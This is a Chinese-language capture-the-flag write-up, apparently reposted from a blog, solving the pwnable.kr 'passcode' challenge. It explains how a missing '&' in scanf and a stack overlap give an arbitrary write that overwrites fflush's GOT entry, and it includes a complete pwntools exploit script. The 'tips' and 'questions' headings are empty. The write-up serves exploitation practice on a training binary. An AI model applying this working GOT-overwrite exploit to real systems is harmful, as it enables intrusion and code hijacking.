其他分享
首页 > 其他分享> > 【pwnable.kr】passcode

【pwnable.kr】passcode

作者:互联网

题目描述

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

思路

这道题我参考了大佬的才最终做出来。首先在直接运行文件经常出现segmentation fault。通过题目的提示编译了一次源代码,发现scanf的第二个参数没有加取地址符&,从而输入的内容不会存到本以为会存到的位置,而是将那个位置中的内容作为存储的地址。既然输入的passcode并不会真的用于之后的比较,那么无法通过构造passcode来达到目的,从而想到利用第一次输入的name。由于welcome函数和login函数连续被调用,且没有开启aslr,所以它们的ebp是相同的,它们所使用的栈空间有重合的部分。通过查看汇编可以计算出name的最后4位会与passcode1的地址重合。从而passcode1的地址和内容都可控,达到一次任意地址写的目的。
但是由于只有一次写的机会,所以不能构造两个passcode,于是想到覆写got表。只要将其中一个会被调用的got表的地址改为读flag的地址就可以了。
至于最后的实现,有三种方式:

from pwn import *
debug = 0
binary = ELF("./passcode")
fflush_got = binary.got["fflush"]
if debug:
    context.log_level = 'debug'
    p = process("./passcode")
    gdb.attach(p,'b* 0x8048604')
else:
    s = ssh(host='pwnable.kr',user='passcode',port=2222,password='guest')
    p = s.process('./passcode')
p.recvuntil("enter you name : ")
p.sendline('a'*96+p32(fflush_got))
p.recvuntil('enter passcode1 : ')
p.sendline(str(int(0x80485E3)))
p.interactive()

一些小tip

一些问题

标签:pwnable,kr,地址,ssh,passcode,got,fflush,输入
来源: https://blog.csdn.net/qq_33892117/article/details/100086238